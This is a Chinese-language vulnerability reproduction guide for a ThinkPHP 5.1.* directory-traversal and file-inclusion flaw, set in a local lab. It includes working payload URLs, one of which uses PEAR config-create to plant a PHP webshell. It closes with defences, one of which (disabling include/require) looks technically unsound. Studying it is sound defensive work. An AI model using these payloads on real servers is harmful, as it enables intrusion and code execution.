2024最新Thinkphp5.1.0-Thinkphp5.1. *文件包含漏洞复现研究(适合小白!)
字数 1215 2025-08-22 18:37:27
ThinkPHP 5.1.* 文件包含漏洞(CVE-2024-29981)分析与复现指南
漏洞概述
本漏洞是ThinkPHP 5.1.*版本中存在的一个文件包含漏洞,允许攻击者通过精心构造的URL实现目录穿越和任意文件包含,可能导致远程代码执行。
环境搭建
所需工具
- PHPStorm (用于代码审计和调试)
- PHPStudy (用于搭建本地PHP环境)
- Composer (用于安装ThinkPHP)
安装步骤
-
安装Composer:
composer install --ignore-platform-reqs -
下载ThinkPHP 5.1.41:
composer create-project topthink/think=5.1.41 tp5.1.41 --prefer-dist -
配置调试环境:
- 使用PHPStorm打开项目
- 启动PHPStudy服务
- 访问默认URL:
http://localhost/tp5.1.41/public/
漏洞分析
路由机制
ThinkPHP的路由格式为:模块/控制器/方法,对应URL示例:
http://localhost/tp5.1.41/public/index.php?s=index/index/hello
关键代码路径
-
路由处理入口:
http://localhost/tp5.1.41/public/index.php?s=thinkphp5.1/fewOo/fewOo -
pathinfo()函数:
if (isset($_GET[$this->config['var_pathinfo']])) { $pathinfo = $_GET[$this->config['var_pathinfo']]; unset($_GET[$this->config['var_pathinfo']]); unset($this->get[$this->config['var_pathinfo']]); }$this->config['var_pathinfo']默认为s参数- 获取s参数值后销毁相关变量
-
路径处理:
/被替换为|,例如thinkphp5.1/fewOo/fewOo变为thinkphp5.1|fewOo|fewOo- 最终生成dispatch对象:
UrlDispatch
-
模块初始化:
if (!in_array($module, $this->rule->getConfig('deny_module_list')) && is_dir($this->app->getAppPath() . $module)) { $available = true; }- 关键漏洞点:通过目录穿越使
$available = true
- 关键漏洞点:通过目录穿越使
文件包含机制
- 配置文件加载:
foreach ($files as $file) { if ('.' . pathinfo($file, PATHINFO_EXTENSION) === $this->configExt) { $this->config->load($dir . $file, pathinfo($file, PATHINFO_FILENAME)); } }$this->configExt默认为.php- 直接包含PHP文件导致代码执行
漏洞复现
基本利用
-
在D盘创建目录:
d:\thinkphp5.1,并放入1.php文件(内容为phpinfo()) -
访问Payload:
http://localhost/tp5.1.41/public/index.php?s=thinkphp5.1/fewOo/fewOo
高级利用(PEAR利用)
-
安装PEAR:
- 下载pearweb_phars
- 在PHP目录下创建pear文件夹
- 执行:
php go-pear.phar
-
利用PEAR写Webshell:
http://localhost/tp5.1.41/public/index.php?s=Extensions\php\php7.3.4nts\pear\pear\&+config-create+/<?=phpinfo();?>+1.php- 注意:浏览器会编码尖括号,建议使用Burp Suite
-
成功标志:
Successfully created default configuration file "D:\phpstudy\phpstudy_pro\WWW\tp5.1.41\public\1.php"
注意事项
-
环境限制:
- 该漏洞主要在Windows环境下有效
- Linux环境下由于路径分隔符不同,较难利用
-
PHP配置要求:
- 需要确保
register_argc_argv设置为On - 可能需要修改php.ini配置
- 需要确保
-
调试问题:
- 如果遇到
Undefined index: argv错误,检查PHP配置
- 如果遇到
防御措施
- 升级到ThinkPHP最新版本
- 限制模块目录访问
- 禁用不必要的PHP函数(如
include、require等) - 设置
open_basedir限制文件访问范围
总结
该漏洞利用ThinkPHP 5.1.*版本的路由机制和文件包含功能,通过精心构造的路径实现目录穿越和任意文件包含。攻击者可以利用此漏洞读取敏感文件或执行任意代码,危害性较高。建议开发者及时升级框架版本并实施严格的安全配置。